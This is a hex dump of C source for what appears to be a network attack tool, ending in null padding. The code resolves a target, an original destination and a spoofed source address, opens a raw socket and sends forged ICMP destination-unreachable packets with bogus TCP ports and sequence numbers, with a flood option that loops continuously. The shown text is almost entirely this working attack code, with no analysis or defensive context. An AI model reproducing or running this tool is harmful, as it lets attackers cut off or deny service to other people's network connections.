|00001080| 20 20 20 20 20 22 53 6f | 75 72 63 65 20 68 6f 73 | "So|urce hos|
|00001090| 74 20 69 73 20 69 73 6f | 6c 61 74 65 64 22 2c 0a |t is iso|lated",.|
|000010a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000010b0| 20 20 20 20 20 20 20 20 | 20 22 4e 65 74 77 6f 72 | | "Networ|
|000010c0| 6b 20 61 64 6d 69 6e 69 | 73 74 72 61 74 69 76 65 |k admini|strative|
|000010d0| 6c 79 20 75 6e 72 65 61 | 63 68 61 62 6c 65 22 2c |ly unrea|chable",|
|000010e0| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|000010f0| 20 20 20 20 20 20 20 20 | 20 20 22 48 6f 73 74 20 | | "Host |
|00001100| 61 64 6d 69 6e 69 73 74 | 72 61 74 69 76 65 6c 79 |administ|ratively|
|00001110| 20 75 6e 72 65 61 63 68 | 61 62 6c 65 22 2c 0a 20 | unreach|able",. |
|00001120| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00001130| 20 20 20 20 20 20 20 20 | 22 4e 65 74 77 6f 72 6b | |"Network|
|00001140| 20 75 6e 72 65 61 63 68 | 61 62 6c 65 20 2d 20 74 | unreach|able - t|
|00001150| 79 70 65 20 6f 66 20 73 | 65 72 76 69 63 65 22 2c |ype of s|ervice",|
|00001160| 0a 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |. | |
|00001170| 20 20 20 20 20 20 20 20 | 20 20 22 48 6f 73 74 20 | | "Host |
|00001180| 75 6e 72 65 61 63 68 61 | 62 6c 65 20 2d 20 74 79 |unreacha|ble - ty|
|00001190| 70 65 20 6f 66 20 73 65 | 72 76 69 63 65 22 7d 3b |pe of se|rvice"};|
|000011a0| 20 20 20 20 0a 20 20 20 | 20 20 20 20 20 20 20 20 | . | |
|000011b0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 69 | | .i|
|000011c0| 6e 74 20 72 65 73 6f 6c | 76 65 5f 6f 6e 65 28 63 |nt resol|ve_one(c|
|000011d0| 6f 6e 73 74 20 63 68 61 | 72 20 2a 6e 61 6d 65 2c |onst cha|r *name,|
|000011e0| 20 75 6e 73 69 67 6e 65 | 64 20 6c 6f 6e 67 20 2a | unsigne|d long *|
|000011f0| 61 64 64 72 2c 20 63 6f | 6e 73 74 20 63 68 61 72 |addr, co|nst char|
|00001200| 20 2a 64 65 73 63 29 0a | 20 20 20 20 20 7b 0a 20 | *desc).| {. |
|00001210| 20 20 20 20 20 20 20 73 | 74 72 75 63 74 20 73 6f | s|truct so|
|00001220| 63 6b 61 64 64 72 5f 69 | 6e 20 74 65 6d 70 61 64 |ckaddr_i|n tempad|
|00001230| 64 72 3b 0a 09 69 66 20 | 28 72 65 73 6f 6c 76 65 |dr;..if |(resolve|
|00001240| 28 6e 61 6d 65 2c 20 26 | 74 65 6d 70 61 64 64 72 |(name, &|tempaddr|
|00001250| 2c 30 29 20 3d 3d 20 2d | 31 29 20 7b 0a 09 20 20 |,0) == -|1) {.. |
|00001260| 20 70 72 69 6e 74 66 28 | 22 65 72 72 6f 72 3a 20 | printf(|"error: |
|00001270| 63 61 6e 27 74 20 72 65 | 73 6f 6c 76 65 20 74 68 |can't re|solve th|
|00001280| 65 20 25 73 2e 5c 6e 22 | 2c 64 65 73 63 29 3b 0a |e %s.\n"|,desc);.|
|00001290| 09 20 20 20 72 65 74 75 | 72 6e 20 2d 31 3b 0a 09 |. retu|rn -1;..|
|000012a0| 7d 0a 20 20 20 20 20 20 | 20 20 20 20 20 20 0a 09 |}. | ..|
|000012b0| 2a 61 64 64 72 20 3d 20 | 74 65 6d 70 61 64 64 72 |*addr = |tempaddr|
|000012c0| 2e 73 69 6e 5f 61 64 64 | 72 2e 73 5f 61 64 64 72 |.sin_add|r.s_addr|
|000012d0| 3b 0a 20 20 20 20 20 20 | 20 09 72 65 74 75 72 6e |;. | .return|
|000012e0| 20 30 3b 0a 20 20 20 20 | 20 7d 0a 0a 69 6e 74 20 | 0;. | }..int |
|000012f0| 72 65 73 6f 6c 76 65 5f | 61 6c 6c 28 63 6f 6e 73 |resolve_|all(cons|
|00001300| 74 20 63 68 61 72 20 2a | 6f 72 69 67 64 65 73 74 |t char *|origdest|
|00001310| 2c 0a 09 09 63 6f 6e 73 | 74 20 63 68 61 72 20 2a |,...cons|t char *|
|00001320| 64 65 73 74 2c 0a 09 09 | 63 6f 6e 73 74 20 63 68 |dest,...|const ch|
|00001330| 61 72 20 2a 73 70 6f 6f | 66 29 0a 20 20 20 20 20 |ar *spoo|f). |
|00001340| 7b 0a 09 69 66 20 28 72 | 65 73 6f 6c 76 65 5f 6f |{..if (r|esolve_o|
|00001350| 6e 65 28 6f 72 69 67 64 | 65 73 74 2c 26 6f 72 69 |ne(origd|est,&ori|
|00001360| 67 64 65 73 74 5f 61 64 | 64 72 2c 22 6f 72 69 67 |gdest_ad|dr,"orig|
|00001370| 64 65 73 74 20 61 64 64 | 72 65 73 73 22 29 29 20 |dest add|ress")) |
|00001380| 72 65 74 75 72 6e 20 2d | 31 3b 0a 20 20 20 20 20 |return -|1;. |
|00001390| 20 20 20 69 66 20 28 72 | 65 73 6f 6c 76 65 5f 6f | if (r|esolve_o|
|000013a0| 6e 65 28 64 65 73 74 2c | 26 64 65 73 74 5f 61 64 |ne(dest,|&dest_ad|
|000013b0| 64 72 2c 22 64 65 73 74 | 20 61 64 64 72 65 73 73 |dr,"dest| address|
|000013c0| 22 29 29 20 72 65 74 75 | 72 6e 20 2d 31 3b 0a 09 |")) retu|rn -1;..|
|000013d0| 69 66 20 28 73 70 6f 6f | 66 21 3d 4e 55 4c 4c 29 |if (spoo|f!=NULL)|
|000013e0| 20 0a 09 20 20 69 66 20 | 28 72 65 73 6f 6c 76 65 | .. if |(resolve|
|000013f0| 5f 6f 6e 65 28 73 70 6f | 6f 66 2c 26 73 70 6f 6f |_one(spo|of,&spoo|
|00001400| 66 5f 61 64 64 72 2c 22 | 73 70 6f 6f 66 20 61 64 |f_addr,"|spoof ad|
|00001410| 64 72 65 73 73 22 29 29 | 20 72 65 74 75 72 6e 20 |dress"))| return |
|00001420| 2d 31 3b 0a 09 0a 09 64 | 65 73 74 61 64 64 72 2e |-1;....d|estaddr.|
|00001430| 73 69 6e 5f 61 64 64 72 | 2e 73 5f 61 64 64 72 20 |sin_addr|.s_addr |
|00001440| 3d 20 64 65 73 74 5f 61 | 64 64 72 3b 0a 09 64 65 |= dest_a|ddr;..de|
|00001450| 73 74 61 64 64 72 2e 73 | 69 6e 5f 66 61 6d 69 6c |staddr.s|in_famil|
|00001460| 79 20 20 20 20 20 20 3d | 20 41 46 5f 49 4e 45 54 |y =| AF_INET|
|00001470| 3b 0a 09 64 65 73 74 61 | 64 64 72 2e 73 69 6e 5f |;..desta|ddr.sin_|
|00001480| 70 6f 72 74 20 20 20 20 | 20 20 20 20 3d 20 30 3b |port | = 0;|
|00001490| 0a 20 20 20 20 20 7d 0a | 09 0a 76 6f 69 64 20 67 |. }.|..void g|
|000014a0| 69 76 65 5f 69 6e 66 6f | 28 76 6f 69 64 29 0a 20 |ive_info|(void). |
|000014b0| 20 20 20 20 7b 0a 09 70 | 72 69 6e 74 66 28 22 23 | {..p|rintf("#|
|000014c0| 20 74 61 72 67 65 74 20 | 61 64 64 72 65 73 73 20 | target |address |
|000014d0| 20 20 20 20 20 20 20 20 | 20 3a 20 25 73 20 28 25 | | : %s (%|
|000014e0| 73 29 5c 6e 22 2c 64 65 | 73 74 5f 6e 61 6d 65 2c |s)\n",de|st_name,|
|000014f0| 69 6e 65 74 5f 6e 74 6f | 61 28 64 65 73 74 5f 61 |inet_nto|a(dest_a|
|00001500| 64 64 72 29 29 3b 0a 09 | 70 72 69 6e 74 66 28 22 |ddr));..|printf("|
|00001510| 23 20 6f 72 69 67 69 6e | 61 6c 20 70 61 63 6b 65 |# origin|al packe|
|00001520| 74 20 74 61 72 67 65 74 | 20 20 3a 20 25 73 20 28 |t target| : %s (|
|00001530| 25 73 29 5c 6e 22 2c 6f | 72 69 67 64 65 73 74 5f |%s)\n",o|rigdest_|
|00001540| 6e 61 6d 65 2c 69 6e 65 | 74 5f 6e 74 6f 61 28 6f |name,ine|t_ntoa(o|
|00001550| 72 69 67 64 65 73 74 5f | 61 64 64 72 29 29 3b 0a |rigdest_|addr));.|
|00001560| 09 70 72 69 6e 74 66 28 | 22 23 20 73 70 6f 6f 66 |.printf(|"# spoof|
|00001570| 2d 66 72 6f 6d 20 61 64 | 64 72 65 73 73 20 20 20 |-from ad|dress |
|00001580| 20 20 20 3a 20 25 73 20 | 28 25 73 29 5c 6e 5c 6e | : %s |(%s)\n\n|
|00001590| 22 2c 73 70 6f 6f 66 5f | 6e 61 6d 65 2c 69 6e 65 |",spoof_|name,ine|
|000015a0| 74 5f 6e 74 6f 61 28 73 | 70 6f 6f 66 5f 61 64 64 |t_ntoa(s|poof_add|
|000015b0| 72 29 29 3b 0a 09 70 72 | 69 6e 74 66 28 22 23 20 |r));..pr|intf("# |
|000015c0| 62 6f 67 75 73 20 54 43 | 50 20 73 6f 75 72 63 65 |bogus TC|P source|
|000015d0| 20 70 6f 72 74 20 20 20 | 3a 20 25 75 5c 6e 22 2c | port |: %u\n",|
|000015e0| 73 70 6f 72 74 29 3b 0a | 09 70 72 69 6e 74 66 28 |sport);.|.printf(|
|000015f0| 22 23 20 62 6f 67 75 73 | 20 54 43 50 20 64 65 73 |"# bogus| TCP des|
|00001600| 74 2e 20 70 6f 72 74 20 | 20 20 20 3a 20 25 75 5c |t. port | : %u\|
|00001610| 6e 22 2c 64 70 6f 72 74 | 29 3b 0a 09 70 72 69 6e |n",dport|);..prin|
|00001620| 74 66 28 22 23 20 62 6f | 67 75 73 20 54 43 50 20 |tf("# bo|gus TCP |
|00001630| 73 65 71 75 65 6e 63 65 | 20 6e 6f 2e 20 20 3a 20 |sequence| no. : |
|00001640| 25 6c 75 5c 6e 5c 6e 22 | 2c 73 65 71 29 3b 0a 20 |%lu\n\n"|,seq);. |
|00001650| 20 20 20 20 20 09 70 72 | 69 6e 74 66 28 22 23 20 | .pr|intf("# |
|00001660| 49 43 4d 50 20 75 6e 72 | 65 61 63 68 61 62 6c 65 |ICMP unr|eachable|
|00001670| 20 74 79 70 65 20 20 20 | 3a 20 25 75 20 28 25 73 | type |: %u (%s|
|00001680| 29 5c 6e 5c 6e 22 2c 74 | 79 70 65 2c 75 6e 72 65 |)\n\n",t|ype,unre|
|00001690| 61 63 68 61 62 6c 65 73 | 5b 74 79 70 65 5d 29 3b |achables|[type]);|
|000016a0| 0a 20 20 20 20 20 7d 0a | 0a 69 6e 74 20 70 61 72 |. }.|.int par|
|000016b0| 73 65 5f 61 72 67 73 28 | 69 6e 74 20 61 72 67 63 |se_args(|int argc|
|000016c0| 2c 20 63 68 61 72 20 2a | 61 72 67 76 5b 5d 29 20 |, char *|argv[]) |
|000016d0| 0a 20 20 20 20 20 7b 0a | 20 20 20 20 20 20 20 20 |. {.| |
|000016e0| 69 6e 74 20 6f 70 74 3b | 0a 09 0a 09 63 68 61 72 |int opt;|....char|
|000016f0| 20 2a 65 6e 64 70 74 72 | 3b 0a 09 09 0a 09 77 68 | *endptr|;.....wh|
|00001700| 69 6c 65 20 28 28 6f 70 | 74 3d 67 65 74 6f 70 74 |ile ((op|t=getopt|
|00001710| 28 61 72 67 63 2c 20 61 | 72 67 76 2c 20 22 66 71 |(argc, a|rgv, "fq|
|00001720| 3a 70 3a 64 3a 22 29 29 | 20 21 3d 20 2d 31 29 20 |:p:d:"))| != -1) |
|00001730| 20 7b 0a 09 20 20 20 73 | 77 69 74 63 68 28 6f 70 | {.. s|witch(op|
|00001740| 74 29 20 20 7b 0a 09 20 | 20 20 20 20 20 63 61 73 |t) {.. | cas|
|00001750| 65 20 27 66 27 3a 20 66 | 6c 6f 6f 64 20 3d 20 31 |e 'f': f|lood = 1|
|00001760| 3b 20 62 72 65 61 6b 3b | 0a 09 20 20 20 20 20 20 |; break;|.. |
|00001770| 63 61 73 65 20 27 71 27 | 3a 20 73 65 71 20 3d 20 |case 'q'|: seq = |
|00001780| 73 74 72 74 6f 75 6c 28 | 6f 70 74 61 72 67 2c 26 |strtoul(|optarg,&|
|00001790| 65 6e 64 70 74 72 2c 31 | 30 29 3b 0a 09 20 20 20 |endptr,1|0);.. |
|000017a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 69 66 20 | | if |
|000017b0| 28 2a 65 6e 64 70 74 72 | 20 21 3d 20 27 5c 30 27 |(*endptr| != '\0'|
|000017c0| 29 20 20 7b 0a 09 09 20 | 20 20 20 20 20 20 20 20 |) {... | |
|000017d0| 20 20 70 72 69 6e 74 66 | 28 22 25 73 3a 20 62 61 | printf|("%s: ba|
|000017e0| 64 20 73 65 71 75 65 6e | 63 65 20 6e 75 6d 62 65 |d sequen|ce numbe|
|000017f0| 72 20 27 25 73 27 5c 6e | 22 2c 20 61 72 67 76 5b |r '%s'\n|", argv[|
|00001800| 30 5d 2c 20 6f 70 74 61 | 72 67 29 3b 0a 09 09 20 |0], opta|rg);... |
|00001810| 20 20 20 20 20 20 20 20 | 20 20 72 65 74 75 72 6e | | return|
|00001820| 20 2d 31 3b 0a 09 20 20 | 20 20 20 20 20 20 20 20 | -1;.. | |
|00001830| 20 09 7d 0a 09 09 20 20 | 20 20 20 20 20 20 62 72 | .}... | br|
|00001840| 65 61 6b 3b 0a 09 20 20 | 20 20 20 20 63 61 73 65 |eak;.. | case|
|00001850| 20 27 70 27 3a 20 73 70 | 6f 72 74 20 3d 20 73 74 | 'p': sp|ort = st|
|00001860| 72 74 6f 75 6c 28 6f 70 | 74 61 72 67 2c 26 65 6e |rtoul(op|targ,&en|
|00001870| 64 70 74 72 2c 20 31 30 | 29 3b 0a 09 20 20 20 20 |dptr, 10|);.. |
|00001880| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 66 20 28 | | if (|
|00001890| 2a 65 6e 64 70 74 72 20 | 21 3d 20 27 5c 30 27 29 |*endptr |!= '\0')|
|000018a0| 20 20 7b 0a 09 09 09 20 | 20 20 70 72 69 6e 74 66 | {.... | printf|
|000018b0| 28 22 25 73 3a 20 62 61 | 64 20 73 6f 75 72 63 65 |("%s: ba|d source|
|000018c0| 20 70 6f 72 74 20 6e 75 | 6d 62 65 72 20 27 25 73 | port nu|mber '%s|
|000018d0| 27 5c 6e 22 2c 61 72 67 | 76 5b 30 5d 2c 6f 70 74 |'\n",arg|v[0],opt|
|000018e0| 61 72 67 29 3b 0a 09 09 | 09 20 20 20 72 65 74 75 |arg);...|. retu|
|000018f0| 72 6e 20 2d 31 3b 0a 09 | 20 20 20 20 20 20 20 20 |rn -1;..| |
|00001900| 20 20 20 20 20 20 20 20 | 7d 0a 09 09 20 20 20 20 | |}... |
|00001910| 20 20 20 20 62 72 65 61 | 6b 3b 0a 09 20 20 20 20 | brea|k;.. |
|00001920| 20 20 63 61 73 65 20 27 | 64 27 3a 20 64 70 6f 72 | case '|d': dpor|
|00001930| 74 20 3d 20 73 74 72 74 | 6f 75 6c 28 6f 70 74 61 |t = strt|oul(opta|
|00001940| 72 67 2c 26 65 6e 64 70 | 74 72 2c 20 31 30 29 3b |rg,&endp|tr, 10);|
|00001950| 0a 09 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |.. | |
|00001960| 20 20 69 66 20 28 2a 65 | 6e 64 70 74 72 20 21 3d | if (*e|ndptr !=|
|00001970| 20 27 5c 30 27 29 20 20 | 7b 0a 09 09 09 20 20 20 | '\0') |{.... |
|00001980| 70 72 69 6e 74 66 28 22 | 25 73 3a 20 62 61 64 20 |printf("|%s: bad |
|00001990| 64 65 73 74 20 70 6f 72 | 74 20 6e 75 6d 62 65 72 |dest por|t number|
|000019a0| 20 27 25 73 27 5c 6e 22 | 2c 61 72 67 76 5b 30 5d | '%s'\n"|,argv[0]|
|000019b0| 2c 6f 70 74 61 72 67 29 | 3b 0a 09 09 09 20 20 20 |,optarg)|;.... |
|000019c0| 72 65 74 75 72 6e 20 2d | 31 3b 0a 09 20 20 20 20 |return -|1;.. |
|000019d0| 20 20 20 20 20 20 20 20 | 20 20 20 20 7d 0a 09 09 | | }...|
|000019e0| 20 20 20 20 20 20 20 20 | 62 72 65 61 6b 3b 0a 09 | |break;..|
|000019f0| 20 20 20 20 20 20 63 61 | 73 65 20 27 3f 27 3a 0a | ca|se '?':.|
|00001a00| 09 20 20 20 20 20 20 63 | 61 73 65 20 27 3a 27 3a |. c|ase ':':|
|00001a10| 20 72 65 74 75 72 6e 20 | 2d 31 3b 20 62 72 65 61 | return |-1; brea|
|00001a20| 6b 3b 0a 09 20 20 20 7d | 0a 09 20 20 0a 09 7d 0a |k;.. }|.. ..}.|
|00001a30| 09 20 20 20 20 0a 09 69 | 66 20 28 6f 70 74 69 6e |. ..i|f (optin|
|00001a40| 64 20 3e 20 61 72 67 63 | 2d 32 29 20 20 7b 0a 09 |d > argc|-2) {..|
|00001a50| 20 20 20 70 72 69 6e 74 | 66 28 22 25 73 3a 20 6d | print|f("%s: m|
|00001a60| 69 73 73 69 6e 67 20 70 | 61 72 61 6d 65 74 65 72 |issing p|arameter|
|00001a70| 73 5c 6e 22 2c 61 72 67 | 76 5b 30 5d 29 3b 0a 09 |s\n",arg|v[0]);..|
|00001a80| 20 20 20 72 65 74 75 72 | 6e 20 2d 31 3b 0a 09 7d | retur|n -1;..}|
|00001a90| 0a 20 20 20 20 20 20 20 | 20 0a 09 74 79 70 65 20 |. | ..type |
|00001aa0| 3d 20 73 74 72 74 6f 75 | 6c 28 61 72 67 76 5b 6f |= strtou|l(argv[o|
|00001ab0| 70 74 69 6e 64 2b 2b 5d | 2c 26 65 6e 64 70 74 72 |ptind++]|,&endptr|
|00001ac0| 2c 31 30 29 3b 0a 09 69 | 66 20 28 28 2a 65 6e 64 |,10);..i|f ((*end|
|00001ad0| 70 74 72 20 21 3d 20 27 | 5c 30 27 29 20 7c 7c 20 |ptr != '|\0') || |
|00001ae0| 28 74 79 70 65 3e 31 32 | 29 29 20 7b 0a 09 20 20 |(type>12|)) {.. |
|00001af0| 20 70 72 69 6e 74 66 28 | 22 25 73 3a 20 62 61 64 | printf(|"%s: bad|
|00001b00| 20 75 6e 72 65 61 63 68 | 61 62 6c 65 20 74 79 70 | unreach|able typ|
|00001b10| 65 20 28 30 2d 31 32 20 | 6f 6e 6c 79 29 5c 6e 22 |e (0-12 |only)\n"|
|00001b20| 29 3b 0a 09 20 20 20 72 | 65 74 75 72 6e 20 2d 31 |);.. r|eturn -1|
|00001b30| 3b 0a 09 7d 0a 09 0a 09 | 69 66 20 28 28 74 79 70 |;..}....|if ((typ|
|00001b40| 65 20 3d 3d 20 32 29 20 | 7c 7c 20 28 74 79 70 65 |e == 2) ||| (type|
|00001b50| 20 3d 3d 20 33 29 29 20 | 7b 0a 09 20 20 20 70 72 | == 3)) |{.. pr|
|00001b60| 69 6e 74 66 28 22 25 73 | 3a 20 28 77 61 72 6e 69 |intf("%s|: (warni|
|00001b70| 6e 67 29 20 75 6e 72 65 | 61 63 68 65 73 20 6f 66 |ng) unre|aches of|
|00001b80| 20 74 79 70 65 20 32 20 | 61 6e 64 20 33 20 73 68 | type 2 |and 3 sh|
|00001b90| 6f 75 6c 64 20 62 65 20 | 68 6f 73 74 2d 6f 72 69 |ould be |host-ori|
|00001ba0| 67 69 6e 61 74 65 64 5c | 6e 5c 6e 22 2c 61 72 67 |ginated\|n\n",arg|
|00001bb0| 76 5b 30 5d 29 3b 0a 09 | 7d 0a 09 0a 09 73 70 6f |v[0]);..|}....spo|
|00001bc0| 6f 66 5f 6e 61 6d 65 20 | 3d 20 61 72 67 76 5b 6f |of_name |= argv[o|
|00001bd0| 70 74 69 6e 64 2b 2b 5d | 3b 0a 09 64 65 73 74 5f |ptind++]|;..dest_|
|00001be0| 6e 61 6d 65 20 3d 20 61 | 72 67 76 5b 6f 70 74 69 |name = a|rgv[opti|
|00001bf0| 6e 64 2b 2b 5d 3b 0a 09 | 6f 72 69 67 64 65 73 74 |nd++];..|origdest|
|00001c00| 5f 6e 61 6d 65 20 3d 20 | 61 72 67 76 5b 6f 70 74 |_name = |argv[opt|
|00001c10| 69 6e 64 2b 2b 5d 3b 0a | 09 0a 20 20 20 20 09 72 |ind++];.|.. .r|
|00001c20| 65 74 75 72 6e 20 30 3b | 20 09 09 20 20 20 20 20 |eturn 0;| .. |
|00001c30| 20 09 0a 20 20 20 20 20 | 7d 0a 0a 0a 2f 2a 20 4d | .. |}.../* M|
|00001c40| 41 49 4e 20 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |AIN ----|--------|
|00001c50| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c60| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 2d 2d 2d 2d 2d 2d |--------|--------|
|00001c70| 2d 2d 2d 2d 2d 2d 2d 2d | 2d 2d 20 2a 2f 0a 0a 76 |--------|-- */..v|
|00001c80| 6f 69 64 20 6d 61 69 6e | 28 69 6e 74 20 61 72 67 |oid main|(int arg|
|00001c90| 63 2c 20 63 68 61 72 20 | 2a 61 72 67 76 5b 5d 29 |c, char |*argv[])|
|00001ca0| 0a 20 20 20 20 20 7b 0a | 20 20 20 20 20 20 20 20 |. {.| |
|00001cb0| 69 6e 74 20 73 3b 0a 20 | 20 20 20 20 20 20 20 69 |int s;. | i|
|00001cc0| 6e 74 20 66 6c 6f 6f 64 | 6c 6f 6f 70 3b 0a 09 0a |nt flood|loop;...|
|00001cd0| 20 20 20 20 20 20 09 62 | 61 6e 6e 65 72 28 29 3b | .b|anner();|
|00001ce0| 0a 20 20 20 20 20 20 20 | 20 0a 09 69 66 20 28 70 |. | ..if (p|
|00001cf0| 61 72 73 65 5f 61 72 67 | 73 28 61 72 67 63 2c 61 |arse_arg|s(argc,a|
|00001d00| 72 67 76 29 29 20 0a 09 | 20 20 7b 20 20 0a 09 20 |rgv)) ..| { .. |
|00001d10| 20 20 20 20 75 73 61 67 | 65 28 61 72 67 76 5b 30 | usag|e(argv[0|
|00001d20| 5d 29 3b 20 0a 09 20 20 | 20 20 20 72 65 74 75 72 |]); .. | retur|
|00001d30| 6e 3b 0a 09 20 20 7d 0a | 0a 09 0a 09 72 65 73 6f |n;.. }.|....reso|
|00001d40| 6c 76 65 5f 61 6c 6c 28 | 6f 72 69 67 64 65 73 74 |lve_all(|origdest|
|00001d50| 5f 6e 61 6d 65 2c 20 64 | 65 73 74 5f 6e 61 6d 65 |_name, d|est_name|
|00001d60| 2c 20 73 70 6f 6f 66 5f | 6e 61 6d 65 29 3b 0a 09 |, spoof_|name);..|
|00001d70| 67 69 76 65 5f 69 6e 66 | 6f 28 29 3b 0a 20 20 20 |give_inf|o();. |
|00001d80| 20 20 20 20 09 0a 20 20 | 20 20 20 20 20 09 73 20 | .. | .s |
|00001d90| 3d 20 73 6f 63 6b 65 74 | 28 41 46 5f 49 4e 45 54 |= socket|(AF_INET|
|00001da0| 2c 20 53 4f 43 4b 5f 52 | 41 57 2c 20 49 50 50 52 |, SOCK_R|AW, IPPR|
|00001db0| 4f 54 4f 5f 52 41 57 29 | 3b 0a 09 0a 20 20 20 20 |OTO_RAW)|;... |
|00001dc0| 20 20 20 20 69 66 20 28 | 21 66 6c 6f 6f 64 29 0a | if (|!flood).|
|00001dd0| 09 20 20 7b 0a 09 20 20 | 20 20 20 69 66 20 28 69 |. {.. | if (i|
|00001de0| 63 6d 70 5f 75 6e 72 65 | 61 63 68 5f 73 65 6e 64 |cmp_unre|ach_send|
|00001df0| 28 73 2c 26 64 65 73 74 | 61 64 64 72 2c 74 79 70 |(s,&dest|addr,typ|
|00001e00| 65 2c 73 70 6f 6f 66 5f | 61 64 64 72 2c 6f 72 69 |e,spoof_|addr,ori|
|00001e10| 67 64 65 73 74 5f 61 64 | 64 72 0a 09 09 09 09 20 |gdest_ad|dr..... |
|00001e20| 20 20 2c 64 65 73 74 5f | 61 64 64 72 2c 73 70 6f | ,dest_|addr,spo|
|00001e30| 72 74 2c 64 70 6f 72 74 | 2c 73 65 71 29 20 3d 3d |rt,dport|,seq) ==|
|00001e40| 20 2d 31 29 0a 09 20 20 | 20 20 20 7b 0a 09 20 20 | -1).. | {.. |
|00001e50| 20 20 20 20 20 20 70 72 | 69 6e 74 66 28 22 25 73 | pr|intf("%s|
|00001e60| 3a 20 65 72 72 6f 72 20 | 73 65 6e 64 69 6e 67 20 |: error |sending |
|00001e70| 70 61 63 6b 65 74 5c 6e | 22 2c 61 72 67 76 5b 30 |packet\n|",argv[0|
|00001e80| 5d 29 3b 20 70 65 72 72 | 6f 72 28 22 22 29 3b 20 |]); perr|or(""); |
|00001e90| 72 65 74 75 72 6e 3b 0a | 09 20 20 20 20 20 7d 0a |return;.|. }.|
|00001ea0| 09 20 20 7d 0a 09 65 6c | 73 65 0a 09 20 20 7b 0a |. }..el|se.. {.|
|00001eb0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 70 72 69 | | pri|
|00001ec0| 6e 74 66 28 22 66 6c 6f | 6f 64 69 6e 67 2e 20 65 |ntf("flo|oding. e|
|00001ed0| 61 63 68 20 64 6f 74 20 | 72 65 70 72 65 73 65 6e |ach dot |represen|
|00001ee0| 74 73 20 35 30 20 70 61 | 63 6b 65 74 73 5c 6e 22 |ts 50 pa|ckets\n"|
|00001ef0| 29 3b 0a 20 20 20 20 20 | 20 20 20 20 20 20 20 20 |);. | |
|00001f00| 66 6c 6f 6f 64 6c 6f 6f | 70 20 3d 20 30 3b 0a 09 |floodloo|p = 0;..|
|00001f10| 20 20 20 20 20 77 68 69 | 6c 65 28 31 29 0a 09 20 | whi|le(1).. |
|00001f20| 20 20 20 20 7b 0a 09 09 | 75 73 6c 65 65 70 28 32 | {...|usleep(2|
|00001f30| 35 30 30 29 3b 0a 09 09 | 20 69 66 20 28 69 63 6d |500);...| if (icm|
|00001f40| 70 5f 75 6e 72 65 61 63 | 68 5f 73 65 6e 64 28 73 |p_unreac|h_send(s|
|00001f50| 2c 26 64 65 73 74 61 64 | 64 72 2c 74 79 70 65 2c |,&destad|dr,type,|
|00001f60| 73 70 6f 6f 66 5f 61 64 | 64 72 2c 0a 09 09 09 09 |spoof_ad|dr,.....|
|00001f70| 20 20 20 20 20 20 20 6f | 72 69 67 64 65 73 74 5f | o|rigdest_|
|00001f80| 61 64 64 72 2c 64 65 73 | 74 5f 61 64 64 72 2c 73 |addr,des|t_addr,s|
|00001f90| 70 6f 72 74 2c 64 70 6f | 72 74 2c 0a 09 09 09 09 |port,dpo|rt,.....|
|00001fa0| 20 20 20 20 20 20 20 73 | 65 71 2b 2b 29 20 3d 3d | s|eq++) ==|
|00001fb0| 20 2d 31 29 20 0a 09 20 | 20 20 20 20 20 20 20 20 | -1) .. | |
|00001fc0| 7b 0a 09 09 20 20 20 20 | 70 72 69 6e 74 66 28 22 |{... |printf("|
|00001fd0| 25 73 3a 20 65 72 72 6f | 72 20 73 65 6e 64 69 6e |%s: erro|r sendin|
|00001fe0| 67 20 70 61 63 6b 65 74 | 5c 6e 22 2c 61 72 67 76 |g packet|\n",argv|
|00001ff0| 5b 30 5d 29 3b 20 70 65 | 72 72 6f 72 28 22 22 29 |[0]); pe|rror("")|
|00002000| 3b 20 72 65 74 75 72 6e | 3b 20 0a 09 20 20 20 20 |; return|; .. |
|00002010| 20 20 20 20 20 7d 0a 20 | 20 20 20 20 20 20 09 20 | }. | . |
|00002020| 20 20 20 20 20 0a 09 20 | 20 20 20 20 20 20 69 66 | .. | if|
|00002030| 20 28 21 28 66 6c 6f 6f | 64 6c 6f 6f 70 20 3d 20 | (!(floo|dloop = |
|00002040| 28 66 6c 6f 6f 64 6c 6f | 6f 70 2b 31 29 25 35 30 |(floodlo|op+1)%50|
|00002050| 29 29 20 0a 09 09 20 20 | 7b 20 66 70 72 69 6e 74 |)) ... |{ fprint|
|00002060| 66 28 73 74 64 6f 75 74 | 2c 22 2e 22 29 3b 20 66 |f(stdout|,"."); f|
|00002070| 66 6c 75 73 68 28 73 74 | 64 6f 75 74 29 3b 20 0a |flush(st|dout); .|
|00002080| 09 20 20 20 20 20 20 20 | 20 20 20 7d 0a 09 09 0a |. | }....|
|00002090| 20 09 20 20 20 20 20 7d | 0a 09 20 20 7d 0a 20 20 | . }|.. }. |
|000020a0| 20 20 20 7d 0a 0a 00 00 | 00 00 00 00 00 00 00 00 | }....|........|
|000020b0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000020c0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000020d0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000020e0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|000020f0| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002100| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002110| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002120| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002130| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002140| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
|00002150| 00 00 00 00 00 00 00 00 | 00 00 00 00 00 00 00 00 |........|........|
